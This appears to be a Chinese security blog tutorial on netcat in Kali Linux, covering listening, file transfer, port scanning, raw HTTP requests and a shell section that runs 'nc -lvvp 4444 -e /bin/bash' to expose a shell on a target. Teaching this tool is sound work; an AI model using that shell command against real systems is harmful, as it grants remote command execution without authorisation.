一文学会“瑞士军刀“-netcat命令使用

声明!

文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

目录标题

此工具无需安装,kali自带

前言

在Kali Linux中,nc 命令(即Netcat)是一个功能强大的网络工具,它可以用于网络调试和网络服务。Netcat可以作为一个简单的TCP或UDP客户端,也可以作为一个服务器来监听传入的连接。

基本使用

复制代码
nc -help 

查看使用帮助

翻译如下:

复制代码
连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]

选项:
 -c shell命令        作为'-e';使用/bin/sh来执行(非常危险!!)
 -e 文件名           连接后执行程序(非常危险!!)
 -b                  允许广播
 -g 网关             源路由跳转点(s),最多8个
 -G 数量             源路由指针:4、8、12,...
 -h                  这个帮助
 -i secs            发送行的延迟间隔,扫描的端口
 -k                  在套接字上设置保持活动选项
 -l                  监听模式,用于传入连接
 -n                  仅数字IP地址,无DNS
 -o 文件             流量的十六进制转储
 -p 端口             本地端口号
 -r                  随机化本地和远程端口
 -q secs            在标准输入上接收到EOF后退出,并延迟关闭连接
 -s 本地源地址      本地源地址
 -T tos             设置服务类型
 -t                  应答TELNET协商
 -u                  UDP模式
 -v                  详细(使用两次会更详细)
 -w secs            连接和最终读取的超时时间
 -C                  将CRLF作为行结束符发送
 -z                  零 - I/O模式(用于扫描)

端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。

以上命令可以结合一起使用,如下

复制代码
nc -lvvp 4444 :更加详细监听4444端口 

1. 使用监听并连接

直接监听端口或者监听对应网站的端口

复制代码
nc -l port
nc 域名 port

监听后如下

ctrl+c即可退出监听

连接输入ip和端口即可

复制代码
nc ip port

使用UDP监听

因为nc默认监听方式是TCP,有时需要使用UDP

复制代码
nc -lup port
nc -u 域名 port

2. 发送和接收文件

首先开启两个端口并创建两个文件

在a.txt写入hello

复制代码
echo 'hello' > a.txt    
nc -lvvp 4444 > 1.txt  监听4444端口并将接收的内容输入到1.txt
nc ip 4444 < a.txt    连接此ip的4444端口并将a.txt内容发送

结果如下

比较文档MD5值

复制代码
md5sum 1.txt
md5sum a.txt

通过MD5值可以比较文件或数据的完整性和一致性

3. 反弹shell

攻击机需要连接监听端口,目标机开启端口并开通/bin/bash权限

-e 连接后执行参数(比较危险的参数)

复制代码
nc -lvvp 4444 -e /bin/bash
或者 nc -nvlp 4444 -e /bin/bash
nc ip 4444

只要连接了目标主机就会自动执行/bin/bash ,从而获得权限

4. 扫描端口

开启4444端口并执行扫描

-znv : 详细扫描端口

复制代码
nc -lvvp 4444
nc -znv ip 4000-4500

可以看到成功扫描了端口

同样的,使用nmap扫描也是可以的

复制代码
nmap ip
nmap ip -p 1-65535

成功扫描

5. 发送HTTP请求

开启一个web服务,有1.txt和a.txt两个文件

执行完连接命令,可以在命令交互面板,执行下面三条语句构造一个http请求

复制代码
nc 127.0.0.1 80

GET / HTTP/1.1         GET方式
Host: 127.0.0.1        域名或ip
Connection: close      执行完毕后关闭

可以看到成功执行了命令并回显在了面板,不过这种方法不是特别方便

相关推荐
风123456789~20 小时前
【Linux专栏】显示或隐藏行号、批量注释
linux·运维·服务器
只想安静的写会代码21 小时前
centos/ubuntu/redhat配置清华源/本地源
linux·运维·服务器
susu108301891121 小时前
ubuntu多块硬盘挂载到同一目录LVM方式
linux·运维·ubuntu
r***F26221 小时前
【漏洞复现】CVE-2019-11043(PHP远程代码执行漏洞)信息安全论文_含漏洞复现完整过程_含Linux环境go语言编译环境安装
linux·golang·php
smaller_maple1 天前
linux问题记录1
linux·运维·服务器
报错小能手1 天前
讲讲libevent底层机制
linux·服务器
代码AC不AC1 天前
【Linux】计算机的基石:从冯·诺依曼体系结构到操作系统管理
linux·操作系统·冯诺依曼体系结构
大柏怎么被偷了1 天前
【Linux】进程等待
linux·运维·服务器
偶像你挑的噻1 天前
12-Linux驱动开发- SPI子系统
linux·驱动开发·stm32·嵌入式硬件
松涛和鸣1 天前
16、C 语言高级指针与结构体
linux·c语言·开发语言·数据结构·git·算法